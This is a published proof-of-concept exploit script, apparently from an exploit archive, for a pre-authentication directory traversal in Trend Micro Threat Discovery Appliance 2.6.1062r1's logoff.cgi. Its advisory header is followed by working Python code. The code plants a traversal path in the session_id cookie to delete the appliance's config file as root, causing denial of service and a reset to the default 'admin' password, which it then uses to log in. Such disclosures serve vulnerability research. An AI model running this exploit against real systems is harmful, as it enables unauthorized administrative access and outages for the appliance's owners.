Trend Micro Threat Discovery Appliance versions 2.6.1062r1 and below suffer from a logoff.cgi directory traversal authentication bypass vulnerability.
2d89facad03b2aadfc7a64dbc4b3ae3e700fb5257315bc07a0d5dac0b54f2211
#!/usr/local/bin/python
"""
Trend Micro Threat Discovery Appliance <= 2.6.1062r1 logoff.cgi Directory Traversal Authentication Bypass Vulnerability
Found by: Steven Seeley of Source Incite & Roberto Suggi Liverani - @malerisch - http://blog.malerisch.net/
File: TDA_InstallationCD.2.6.1062r1.en_US.iso
sha1: 8da4604c92a944ba8f7744641bce932df008f9f9
Download: http://downloadcenter.trendmicro.com/index.php?regs=NABU&clk=latest&clkval=1787&lang_loc=1
Summary:
========
There exists a pre-authenticated directory traversal vulnerability that allows an attacker to delete any folder or file as root.
This can result in an attacker causing a DoS or bypassing authentication.
Exploitation:
=============
An attacker can use this vulnerability to bypass the authentication by reseting the default password back to 'admin'.
1. Delete the config file /opt/TrendMicro/MinorityReport/etc/igsa.conf
2. Wait for the server to be rebooted...
It is highly likely the server will be rebooted because the deletion of the config file causes a DoS condition whereby
no-body can even login... (since the md5 hashed pw is stored in the config file).
Notes:
======
- (Un)fortunately, we were not able to find a pre-authenticated way to reboot the server, hence requiring slight user interaction (or patience)
- No username required!
Example:
========
saturn:trend_micro_threat_discovery_logoff_auth_bypass mr_me$ ./poc.py
(+) usage: ./poc.py <target> <option [reset][login]>
(+) eg: ./poc.py 172.16.175.123 reset
(+) eg: ./poc.py 172.16.175.123 login
saturn:trend_micro_threat_discovery_logoff_auth_bypass mr_me$ ./poc.py 172.16.175.123 login
(-) login failed
saturn:trend_micro_threat_discovery_logoff_auth_bypass mr_me$ ./poc.py 172.16.175.123 reset
(+) resetting the default password...
(+) success! now wait for a reboot...
saturn:trend_micro_threat_discovery_logoff_auth_bypass mr_me$ ./poc.py 172.16.175.123 login
(+) logged in...
(+) authenticated session_id: de685c4feec6d698f8165a8af8489df1
"""
import re
import os
import sys
import time
import requests
import threading
requests.packages.urllib3.disable_warnings()
if len(sys.argv) != 3:
print "(+) usage: %s <target> <option [reset][login]>" % sys.argv[0]
print "(+) eg: %s 172.16.175.123 reset" % sys.argv[0]
print "(+) eg: %s 172.16.175.123 login" % sys.argv[0]
sys.exit(-1)
t = sys.argv[1]
o = sys.argv[2]
bu = "https://%s/" % t
l_url = "%scgi-bin/logon.cgi" % bu
o_url = "%scgi-bin/logoff.cgi" % bu
if o.lower() == "login":
# default password
r = requests.post(l_url, data={ "passwd":"admin", "isCookieEnable":1 }, verify=False)
if "frame.cgi" in r.text:
print "(+) logged in..."
match = re.search("session_id=(.*); path", r.headers['set-cookie'])
if match:
print "(+) authenticated session_id: %s" % match.group(1)
else:
print "(-) login failed"
elif o.lower() == "reset":
print "(+) resetting the default password..."
r = requests.get(o_url, cookies={"session_id":"../../../opt/TrendMicro/MinorityReport/etc/igsa.conf"}, verify=False)
# causes an uninitialized free() vulnerability as well...
if "Memory map" in r.text:
print "(+) success! now wait for a reboot..."
else:
print "(-) not a valid option!"